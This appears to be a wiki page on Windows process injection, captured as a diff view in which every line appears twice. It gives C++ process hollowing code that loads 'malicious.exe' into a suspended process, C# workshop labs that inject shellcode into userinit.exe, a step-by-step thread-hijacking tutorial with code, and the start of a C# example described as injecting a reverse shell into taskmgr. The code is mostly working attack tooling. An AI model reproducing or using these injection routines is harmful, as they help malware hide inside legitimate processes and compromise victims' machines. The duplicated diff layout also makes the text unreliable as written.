         LPVOID sectionAddress = (LPVOID)((DWORD)baseAddress + pSectionHeader[i].VirtualAddress);
         LPVOID sectionAddress = (LPVOID)((DWORD)baseAddress + pSectionHeader[i].VirtualAddress);
         SIZE_T sectionSize = pSectionHeader[i].Misc.VirtualSize;
         SIZE_T sectionSize = pSectionHeader[i].Misc.VirtualSize;
         // Allocate memory for the section in the target process
         // Allocate memory for the section in the target process
         LPVOID remoteMemory = VirtualAllocEx(hProcess, sectionAddress, sectionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
         LPVOID remoteMemory = VirtualAllocEx(hProcess, sectionAddress, sectionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
         if (remoteMemory == NULL)
         if (remoteMemory == NULL)
             return false;
             return false;
         // Read the section data from the file
         // Read the section data from the file
         DWORD bytesRead;
         DWORD bytesRead;
Line 1,435: Line 1,135:
             return false;
             return false;
     }
     }
     return true;
     return true;
}
}
// Function to set the entry point for the malicious code
// Function to set the entry point for the malicious code
void SetEntryPoint(HANDLE hProcess, PIMAGE_NT_HEADERS pNtHeaders) {
void SetEntryPoint(HANDLE hProcess, PIMAGE_NT_HEADERS pNtHeaders) {
     // Calculate the base address of the image
     // Calculate the base address of the image
     LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;
     LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;
     // Calculate the entry point address
     // Calculate the entry point address
     LPVOID entryPoint = (LPVOID)((DWORD)baseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
     LPVOID entryPoint = (LPVOID)((DWORD)baseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
     // Update the thread context to set the new entry point
     // Update the thread context to set the new entry point
     CONTEXT context;
     CONTEXT context;
Line 1,454: Line 1,150:
     SetThreadContext(hProcess, &context);
     SetThreadContext(hProcess, &context);
}
}
int main() {
int main() {
     // Step 1: Create a target process in a suspended state
     // Step 1: Create a target process in a suspended state
Line 1,463: Line 1,158:
         return 1;
         return 1;
     }
     }
     // Step 2: Open the malicious image file
     // Step 2: Open the malicious image file
     HANDLE hFile = CreateFileA("malicious.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
     HANDLE hFile = CreateFileA("malicious.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
Line 1,471: Line 1,165:
         return 1;
         return 1;
     }
     }
     // Step 3: Read the headers of the malicious image
     // Step 3: Read the headers of the malicious image
     PIMAGE_DOS_HEADER pDosHeader = NULL;
     PIMAGE_DOS_HEADER pDosHeader = NULL;
Line 1,481: Line 1,174:
         return 1;
         return 1;
     }
     }
     // Step 4: Unmap legitimate code from process memory
     // Step 4: Unmap legitimate code from process memory
     if (!UnmapImage(processInfo.hProcess, pNtHeaders)) {
     if (!UnmapImage(processInfo.hProcess, pNtHeaders)) {
Line 1,489: Line 1,181:
         return 1;
         return 1;
     }
     }
     // Step 5: Map sections of the malicious image into process memory
     // Step 5: Map sections of the malicious image into process memory
     if (!MapSections(processInfo.hProcess, hFile, pDosHeader, pNtHeaders)) {
     if (!MapSections(processInfo.hProcess, hFile, pDosHeader, pNtHeaders)) {
Line 1,497: Line 1,188:
         return 1;
         return 1;
     }
     }
     // Step 6: Set the entry point for the malicious code
     // Step 6: Set the entry point for the malicious code
     SetEntryPoint(processInfo.hProcess, pNtHeaders);
     SetEntryPoint(processInfo.hProcess, pNtHeaders);
     // Resume the target process to execute the malicious code
     // Resume the target process to execute the malicious code
     if (ResumeThread(processInfo.hThread) == -1) {
     if (ResumeThread(processInfo.hThread) == -1) {
Line 1,508: Line 1,197:
         return 1;
         return 1;
     }
     }
     std::cout << "Process hollowing completed successfully!" << std::endl;
     std::cout << "Process hollowing completed successfully!" << std::endl;
     // Cleanup
     // Cleanup
     CloseHandle(hFile);
     CloseHandle(hFile);
     CloseHandle(processInfo.hThread);
     CloseHandle(processInfo.hThread);
     CloseHandle(processInfo.hProcess);
     CloseHandle(processInfo.hProcess);


</syntaxhighlight>
</syntaxhighlight>


=== C# process hollowing from defcon27 ===
=== C# process hollowing from defcon27 ===


See "Defcon - Writing custom backdoor payloads with C#" above for more info.
See "Defcon - Writing custom backdoor payloads with C#" above for more info.


[https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7 defcon27_csharp_workshop/Labs/lab7 at master · mvelazc0/defcon27_csharp_workshop · GitHub]
[https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7 defcon27_csharp_workshop/Labs/lab7 at master · mvelazc0/defcon27_csharp_workshop · GitHub]


==== Lab 1 - Starting and suspending a process ====
==== Lab 1 - Starting and suspending a process ====


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 1,537: Line 1,218:
using System.Runtime.InteropServices;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading;
public class Program
public class Program
{
{
     // P/Invoke declarations for kernel32.dll functions
     // P/Invoke declarations for kernel32.dll functions
     // Opens an existing thread object
     // Opens an existing thread object
     [DllImport("kernel32.dll")]
     [DllImport("kernel32.dll")]
     static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
     static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
     // Suspends the execution of a thread
     // Suspends the execution of a thread
     [DllImport("kernel32.dll")]
     [DllImport("kernel32.dll")]
     static extern uint SuspendThread(IntPtr hThread);
     static extern uint SuspendThread(IntPtr hThread);
     // Resumes the execution of a thread
     // Resumes the execution of a thread
     [DllImport("kernel32.dll")]
     [DllImport("kernel32.dll")]
     static extern int ResumeThread(IntPtr hThread);
     static extern int ResumeThread(IntPtr hThread);
     // Constant value for thread access rights
     // Constant value for thread access rights
     private static UInt32 SUSPEND_RESUME = 0x0002;
     private static UInt32 SUSPEND_RESUME = 0x0002;
     public static void Main()
     public static void Main()
     {
     {
         // Specify the process to start
         // Specify the process to start
         string proc = "msiexec.exe";
         string proc = "msiexec.exe";
         // Start the specified process
         // Start the specified process
         Process newproc = Process.Start(proc);
         Process newproc = Process.Start(proc);
         Console.WriteLine("Started " + proc + " with Process Id: " + newproc.Id);
         Console.WriteLine("Started " + proc + " with Process Id: " + newproc.Id);
         Console.WriteLine("Press any key to suspend the process ...");
         Console.WriteLine("Press any key to suspend the process ...");
         Console.ReadKey();
         Console.ReadKey();
         Console.WriteLine("Suspending process...");
         Console.WriteLine("Suspending process...");
         // Iterate over each thread in the process
         // Iterate over each thread in the process
         foreach (ProcessThread thread in newproc.Threads)
         foreach (ProcessThread thread in newproc.Threads)
Line 1,576: Line 1,247:
             // Open the thread to get a handle
             // Open the thread to get a handle
             IntPtr pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
             IntPtr pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
             // If the thread handle is invalid, break the loop
             // If the thread handle is invalid, break the loop
             if (pOpenThread == IntPtr.Zero)
             if (pOpenThread == IntPtr.Zero)
Line 1,582: Line 1,252:
                 break;
                 break;
             }
             }
             // Suspend the thread's execution
             // Suspend the thread's execution
             SuspendThread(pOpenThread);
             SuspendThread(pOpenThread);
         }
         }
         Console.WriteLine("Suspended!");
         Console.WriteLine("Suspended!");
         Console.WriteLine("Press any key to resume the process ...");
         Console.WriteLine("Press any key to resume the process ...");
         Console.ReadKey();
         Console.ReadKey();
         Console.WriteLine("Resuming process...");
         Console.WriteLine("Resuming process...");
         // Iterate over each thread in the process again
         // Iterate over each thread in the process again
         foreach (ProcessThread thread in newproc.Threads)
         foreach (ProcessThread thread in newproc.Threads)
Line 1,598: Line 1,264:
             // Open the thread to get a handle
             // Open the thread to get a handle
             IntPtr pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
             IntPtr pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
             // If the thread handle is invalid, break the loop
             // If the thread handle is invalid, break the loop
             if (pOpenThread == IntPtr.Zero)
             if (pOpenThread == IntPtr.Zero)
Line 1,604: Line 1,269:
                 break;
                 break;
             }
             }
             // Resume the thread's execution
             // Resume the thread's execution
             ResumeThread(pOpenThread);
             ResumeThread(pOpenThread);
Line 1,611: Line 1,275:
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


==== Lab 2 - Getting a shell ====
==== Lab 2 - Getting a shell ====


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 1,624: Line 1,285:
using System.Text;
using System.Text;
using System.Threading;
using System.Threading;
public class Program
public class Program
{
{
Line 1,633: Line 1,293:
     const int PROCESS_VM_WRITE = 0x0020;
     const int PROCESS_VM_WRITE = 0x0020;
     const int PROCESS_VM_READ = 0x0010;
     const int PROCESS_VM_READ = 0x0010;
     // Importing necessary functions from kernel32.dll and ntdll.dll
     // Importing necessary functions from kernel32.dll and ntdll.dll
     [DllImport("kernel32.dll")]
     [DllImport("kernel32.dll")]
     static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
     static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
     [DllImport("kernel32.dll")]
     [DllImport("kernel32.dll")]
     static extern uint SuspendThread(IntPtr hThread);
     static extern uint SuspendThread(IntPtr hThread);
     [DllImport("kernel32.dll")]
     [DllImport("kernel32.dll")]
     static extern int ResumeThread(IntPtr hThread);
     static extern int ResumeThread(IntPtr hThread);
     [DllImport("ntdll.dll", SetLastError = true)]
     [DllImport("ntdll.dll", SetLastError = true)]
     private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
     private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
     [DllImport("kernel32.dll")]
     [DllImport("kernel32.dll")]
     public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
     public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
     [DllImport("kernel32.dll")]
     [DllImport("kernel32.dll")]
     public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
     public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
     [DllImport("kernel32.dll")]
     [DllImport("kernel32.dll")]
     static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
     static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
     [DllImport("kernel32")]
     [DllImport("kernel32")]
     private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
     private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
     [DllImport("kernel32.dll")]
     [DllImport("kernel32.dll")]
     public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
     public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
     // Constants for memory allocation and protection
     // Constants for memory allocation and protection
     private static UInt32 MEM_COMMIT = 0x1000;
     private static UInt32 MEM_COMMIT = 0x1000;
     private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
     private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
     private static UInt32 SUSPEND_RESUME = 0x0002;
     private static UInt32 SUSPEND_RESUME = 0x0002;
     public static void Main()
     public static void Main()
     {
     {
Line 1,683: Line 1,332:
             0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00
             0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00
         };
         };
         string proc = "userinit.exe";
         string proc = "userinit.exe";
         // Start the target process
         // Start the target process
         Process newproc;
         Process newproc;
Line 1,691: Line 1,338:
         Console.WriteLine("Started " + proc + " with Process Id:" + newproc.Id);
         Console.WriteLine("Started " + proc + " with Process Id:" + newproc.Id);
         Console.WriteLine("Suspending process...");
         Console.WriteLine("Suspending process...");
         // Suspend all threads in the process
         // Suspend all threads in the process
         foreach (ProcessThread thread in newproc.Threads)
         foreach (ProcessThread thread in newproc.Threads)
Line 1,704: Line 1,350:
         }
         }
         Console.WriteLine("Suspended!");
         Console.WriteLine("Suspended!");
         // Open the target process
         // Open the target process
         IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);
         IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);
         // Allocate memory in the target process
         // Allocate memory in the target process
         IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
         IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
         Console.WriteLine("Allocating memory");
         Console.WriteLine("Allocating memory");
         // Write the shellcode into the allocated memory
         // Write the shellcode into the allocated memory
         WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);
         WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);
         Console.WriteLine("Copied shellcode in memory");
         Console.WriteLine("Copied shellcode in memory");
         // Create a remote thread in the target process to execute the shellcode
         // Create a remote thread in the target process to execute the shellcode
         IntPtr pinfo = IntPtr.Zero;
         IntPtr pinfo = IntPtr.Zero;
Line 1,721: Line 1,363:
         Console.WriteLine("Created remote thread");
         Console.WriteLine("Created remote thread");
         Console.WriteLine("Resuming process...");
         Console.WriteLine("Resuming process...");
         // Resume all threads in the process
         // Resume all threads in the process
         foreach (ProcessThread thread in newproc.Threads)
         foreach (ProcessThread thread in newproc.Threads)
Line 1,736: Line 1,377:
     }
     }
}
}
In this code, the following external libraries are used:
In this code, the following external libraries are used:
- `System.Diagnostics`: It provides classes for interacting with system processes, such as starting and monitoring processes.
- `System.Diagnostics`: It provides classes for interacting with system processes, such as starting and monitoring processes.
- `System.Runtime.InteropServices`: It provides interop services for calling unmanaged code.
- `System.Runtime.InteropServices`: It provides interop services for calling unmanaged code.
The code performs the following actions:
The code performs the following actions:
1. Defines constants for process access rights:
1. Defines constants for process access rights:
   - `PROCESS_CREATE_THREAD`: Required to create a thread.
   - `PROCESS_CREATE_THREAD`: Required to create a thread.
Line 1,749: Line 1,387:
   - `PROCESS_VM_WRITE`: Required to write to the process's memory.
   - `PROCESS_VM_WRITE`: Required to write to the process's memory.
   - `PROCESS_VM_READ`: Required to read from the process's memory.
   - `PROCESS_VM_READ`: Required to read from the process's memory.
2. Imports external functions from Windows kernel32.dll and ntdll.dll using the `DllImport` attribute. These functions are used for low-level operations on processes and threads:
2. Imports external functions from Windows kernel32.dll and ntdll.dll using the `DllImport` attribute. These functions are used for low-level operations on processes and threads:
   - `OpenThread`: Opens an existing thread object for access.
   - `OpenThread`: Opens an existing thread object for access.
Line 1,760: Line 1,397:
   - `WaitForSingleObject`: Waits until the specified object is in the signaled state or the time-out interval elapses.
   - `WaitForSingleObject`: Waits until the specified object is in the signaled state or the time-out interval elapses.
   - `WriteProcessMemory`: Writes data to an area of memory in a specified process.
   - `WriteProcessMemory`: Writes data to an area of memory in a specified process.
3. Defines constants for memory allocation and protection:
3. Defines constants for memory allocation and protection:
   - `MEM_COMMIT`: Allocates memory and initializes it with zeroes.
   - `MEM_COMMIT`: Allocates memory and initializes it with zeroes.
   - `PAGE_EXECUTE_READWRITE`: Enables read, write, and execute access to the allocated memory.
   - `PAGE_EXECUTE_READWRITE`: Enables read, write, and execute access to the allocated memory.
   - `SUSPEND_RESUME`: Access rights required to suspend/resume a thread.
   - `SUSPEND_RESUME`: Access rights required to suspend/resume a thread.
4. Defines the `Main` method, which is the entry point of the program.
4. Defines the `Main` method, which is the entry point of the program.
5. Contains a byte array `shellcode` that represents the payload to be injected into the target process. The shellcode contains machine code instructions for executing the `calc.exe` calculator program.
5. Contains a byte array `shellcode` that represents the payload to be injected into the target process. The shellcode contains machine code instructions for executing the `calc.exe` calculator program.
6. Sets the target process name to "userinit.exe".
6. Sets the target process name to "userinit.exe".
7. Starts the target process using `Process.Start(proc)`, where `proc` is the process name.
7. Starts the target process using `Process.Start(proc)`, where `proc` is the process name.
8. Suspends all threads in the target process by iterating over the `Threads` collection of the `newproc` object and calling `OpenThread` and `SuspendThread` for each thread.
8. Suspends all threads in the target process by iterating over the `Threads` collection of the `newproc` object and calling `OpenThread` and `SuspendThread` for each thread.
9. Opens the target process using `OpenProcess` to obtain a handle for subsequent operations.
9. Opens the target process using `OpenProcess` to obtain a handle for subsequent operations.
10. Allocates memory in the target process using `VirtualAllocEx` and assigns the address of the allocated memory to `spaceAddr`.
10. Allocates memory in the target process using `VirtualAllocEx` and assigns the address of the allocated memory to `spaceAddr`.
11. Writes the shellcode into the allocated memory of the target process using `WriteProcessMemory`.
11. Writes the shellcode into the allocated memory of the target process using `WriteProcessMemory`.
12. Creates a remote thread in the target process using `CreateRemoteThread`, which starts the execution of the shellcode.
12. Creates a remote thread in the target process using `CreateRemoteThread`, which starts the execution of the shellcode.
13. Resumes all threads in the target process by iterating over the `Threads` collection of the `newproc` object and calling `OpenThread` and `ResumeThread` for each thread.
13. Resumes all threads in the target process by iterating over the `Threads` collection of the `newproc` object and calling `OpenThread` and `ResumeThread` for each thread.
The result is that the `calc.exe` calculator program will be injected and executed within the context of the target process specified by `userinit.exe`.
The result is that the `calc.exe` calculator program will be injected and executed within the context of the target process specified by `userinit.exe`.


</syntaxhighlight>
</syntaxhighlight>


== Thread (execution) hijacking ==
== Thread (execution) hijacking ==


Thread hijacking is a technique used to take control of a running thread within a process and make it execute malicious code instead of its original instructions.
Thread hijacking is a technique used to take control of a running thread within a process and make it execute malicious code instead of its original instructions.


In simpler terms, thread hijacking is like sneaking into a factory, finding a worker, briefly freezing them, changing their tasks, and watching them unknowingly carry out a harmful action according to your new instructions.
In simpler terms, thread hijacking is like sneaking into a factory, finding a worker, briefly freezing them, changing their tasks, and watching them unknowingly carry out a harmful action according to your new instructions.


At a high-level thread (execution) hijacking can be broken up into eleven steps:
At a high-level thread (execution) hijacking can be broken up into eleven steps:


* Locate and open a target process to control.
* Locate and open a target process to control.


* Allocate memory region for malicious code.
* Allocate memory region for malicious code.


* Write malicious code to allocated memory.
* Write malicious code to allocated memory.


* Identify the thread ID of the target thread to hijack.
* Identify the thread ID of the target thread to hijack.


* Open the target thread.
* Open the target thread.


* Suspend the target thread.
* Suspend the target thread.


* Obtain the thread context.
* Obtain the thread context.


* Update the instruction pointer to the malicious code.
* Update the instruction pointer to the malicious code.


* Rewrite the target thread context.
* Rewrite the target thread context.


* Resume the hijacked thread.
* Resume the hijacked thread.


* Opening the process: Imagine you want to control a locked room. To gain access, you first need to open the door. Similarly, in thread hijacking, you open the process you want to control using functions like <code>OpenProcess</code> in C# or <code>OpenProcess</code> in C++.
* Opening the process: Imagine you want to control a locked room. To gain access, you first need to open the door. Similarly, in thread hijacking, you open the process you want to control using functions like <code>OpenProcess</code> in C# or <code>OpenProcess</code> in C++.


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
Line 1,843: Line 1,451:
     processId // The ID of the target process
     processId // The ID of the target process
);
);
</syntaxhighlight>
</syntaxhighlight>


2. Allocating memory: Once you're inside the room, you need a place to write your secret message. In thread hijacking, you allocate a region in the process's memory using functions like <code>VirtualAllocEx</code> in C# or <code>VirtualAllocEx</code> in C++.
2. Allocating memory: Once you're inside the room, you need a place to write your secret message. In thread hijacking, you allocate a region in the process's memory using functions like <code>VirtualAllocEx</code> in C# or <code>VirtualAllocEx</code> in C++.


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
Line 1,858: Line 1,463:
     MemoryProtection.ExecuteReadWrite // Enables execution and read/write access
     MemoryProtection.ExecuteReadWrite // Enables execution and read/write access
);
);
</syntaxhighlight>
</syntaxhighlight>


3. Writing malicious code: Now, you write your secret message on the allocated space. Similarly, in thread hijacking, you write your malicious code to the allocated memory using functions like <code>WriteProcessMemory</code> in C# or <code>WriteProcessMemory</code> in C++.
3. Writing malicious code: Now, you write your secret message on the allocated space. Similarly, in thread hijacking, you write your malicious code to the allocated memory using functions like <code>WriteProcessMemory</code> in C# or <code>WriteProcessMemory</code> in C++.


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
Line 1,873: Line 1,475:
     out _ // Ignored in this example
     out _ // Ignored in this example
);
);
</syntaxhighlight>
</syntaxhighlight>


4. Identifying the target thread: Imagine there are many workers in the room, and you want to control a specific worker. In thread hijacking, you identify the target thread within the process using functions like <code>CreateToolhelp32Snapshot</code>, <code>Thread32First</code>, and <code>Thread32Next</code> in C# or C++.
4. Identifying the target thread: Imagine there are many workers in the room, and you want to control a specific worker. In thread hijacking, you identify the target thread within the process using functions like <code>CreateToolhelp32Snapshot</code>, <code>Thread32First</code>, and <code>Thread32Next</code> in C# or C++.


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
THREADENTRY32 threadEntry = new THREADENTRY32();
THREADENTRY32 threadEntry = new THREADENTRY32();
IntPtr hSnapshot = CreateToolhelp32Snapshot(
IntPtr hSnapshot = CreateToolhelp32Snapshot(
     SnapshotFlags.Thread, // Snapshot of all threads
     SnapshotFlags.Thread, // Snapshot of all threads
     processId // ID of the target process
     processId // ID of the target process
);
);
Thread32First(
Thread32First(
     hSnapshot,
     hSnapshot,
     ref threadEntry
     ref threadEntry
);
);
while (Thread32Next(
while (Thread32Next(
     hSnapshot,
     hSnapshot,
Line 1,907: Line 1,503:
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


5. Opening the target thread: Once you have identified the target worker (thread), you need to approach and communicate with them. In thread hijacking, you open the target thread using functions like <code>OpenThread</code> in C# or C++.
5. Opening the target thread: Once you have identified the target worker (thread), you need to approach and communicate with them. In thread hijacking, you open the target thread using functions like <code>OpenThread</code> in C# or C++.


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
Line 1,920: Line 1,513:
     threadEntry.th32ThreadID // ID of the target thread
     threadEntry.th32ThreadID // ID of the target thread
);
);
</syntaxhighlight>
</syntaxhighlight>


6. Suspending the target thread: To prevent the worker (thread) from executing their original instructions, you temporarily pause them. In thread hijacking, you suspend the target thread using functions like <code>SuspendThread</code> in C# or C++.
6. Suspending the target thread: To prevent the worker (thread) from executing their original instructions, you temporarily pause them. In thread hijacking, you suspend the target thread using functions like <code>SuspendThread</code> in C# or C++.


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
SuspendThread(hThread);
SuspendThread(hThread);
</syntaxhighlight>
</syntaxhighlight>


7. Obtaining the thread context: While the worker (thread) is paused, you gather important information about their current state. In thread hijacking, you obtain the thread context using functions like <code>GetThreadContext</code> in C# or C++.
7. Obtaining the thread context: While the worker (thread) is paused, you gather important information about their current state. In thread hijacking, you obtain the thread context using functions like <code>GetThreadContext</code> in C# or C++.


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
CONTEXT context = new CONTEXT();
CONTEXT context = new CONTEXT();
context.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL;
context.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL;
GetThreadContext(
GetThreadContext(
     hThread,
     hThread,
     ref context
     ref context
);
);
</syntaxhighlight>
</syntaxhighlight>


8. Overwriting the instruction pointer (IP): The instruction pointer determines the next instruction for the worker (thread). In thread hijacking, you update the thread context to overwrite the instruction pointer and redirect it to your malicious code.
8. Overwriting the instruction pointer (IP): The instruction pointer determines the next instruction for the worker (thread). In thread hijacking, you update the thread context to overwrite the instruction pointer and redirect it to your malicious code.


Note that <code>context.Rip</code> is for x86_64 process architecture. While <code>context.Eip</code> is for 32-bit x86 process architecutre.
Note that <code>context.Rip</code> is for x86_64 process architecture. While <code>context.Eip</code> is for 32-bit x86 process architecutre.


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
context.Rip = (ulong)remoteBuffer; // Set RIP to the address of the malicious code
context.Rip = (ulong)remoteBuffer; // Set RIP to the address of the malicious code
</syntaxhighlight>
</syntaxhighlight>


9. Updating the thread context: Once you have modified the context, you update it to the current thread. In thread hijacking, you set the modified thread context using functions like <code>SetThreadContext</code> in C# or C++.
9. Updating the thread context: Once you have modified the context, you update it to the current thread. In thread hijacking, you set the modified thread context using functions like <code>SetThreadContext</code> in C# or C++.


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
Line 1,968: Line 1,547:
     ref context
     ref context
);
);
</syntaxhighlight>
</syntaxhighlight>


10. Resuming the target thread: Now that the worker (thread) has been prepared, you allow them to execute your malicious code. In thread hijacking, you resume the target thread using functions like <code>ResumeThread</code> in C# or C++.
10. Resuming the target thread: Now that the worker (thread) has been prepared, you allow them to execute your malicious code. In thread hijacking, you resume the target thread using functions like <code>ResumeThread</code> in C# or C++.


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
ResumeThread(hThread);
ResumeThread(hThread);
</syntaxhighlight>
</syntaxhighlight>


=== csharp example ===
=== csharp example ===


The code below will inject a reverse shell into taskmgr with PID 1688.
The code below will inject a reverse shell into taskmgr with PID 1688.


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 1,991: Line 1,563:
using System.Diagnostics;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices;
class Program
class Program
{
{
Line 1,997: Line 1,568:
     [DllImport("kernel32.dll")]
     [DllImport("kernel32.dll")]
     public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
     public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
     [DllImport("kernel32.dll", SetLastError = true)]
     [DllImport("kernel32.dll", SetLastError = true)]
     public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
     public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
     [DllImport("kernel32.dll", SetLastError = true)]
     [DllImport("kernel32.dll", SetLastError = true)]
     public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
     public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
     [DllImport("kernel32.dll")]
     [DllImport("kernel32.dll")]
     public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
     public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
     [DllImport("kernel32.dll")]
     [DllImport("kernel32.dll")]
     public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
     public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
     [DllImport("kernel32.dll", SetLastError = true)]
     [DllImport("kernel32.dll", SetLastError = true)]
     public static extern bool CloseHandle(IntPtr hObject);
     public static extern bool CloseHandle(IntPtr hObject);
     const int PROCESS_ALL_ACCESS = 0x1F0FFF;
     const int PROCESS_ALL_ACCESS = 0x1F0FFF;
     const uint MEM_COMMIT = 0x1000;
     const uint MEM_COMMIT = 0x1000;
     const uint MEM_RELEASE = 0x8000;
     const uint MEM_RELEASE = 0x8000;
     const uint PAGE_EXECUTE_READWRITE = 0x40;
     const uint PAGE_EXECUTE_READWRITE = 0x40;
     static void Main(string[] args)
     static void Main(string[] args)
     {
     {
         // Obtain the target process (replace with the appropriate process ID)
         // Obtain the target process (replace with the appropriate process ID)
         Process targetProcess = Process.GetProcessById(1688);
         Process targetProcess = Process.GetProcessById(1688);
         // Open a handle to the target process
         // Open a handle to the target process
         IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetProcess.Id);
         IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetProcess.Id);
         // Allocate memory within the target process
         // Allocate memory within the target process
         IntPtr pRemoteCode = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
         IntPtr pRemoteCode = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
         // Write the shellcode to be injected into the allocated memory
         // Write the shellcode to be injected into the allocated memory
         int bytesWritten;
         int bytesWritten;
         WriteProcessMemory(hProcess, pRemoteCode, shellcode, (uint)shellcode.Length, out bytesWritten);
         WriteProcessMemory(hProcess, pRemoteCode, shellcode, (uint)shellcode.Length, out bytesWritten);
         // Create a remote thread in the target process that starts executing the injected shellcode
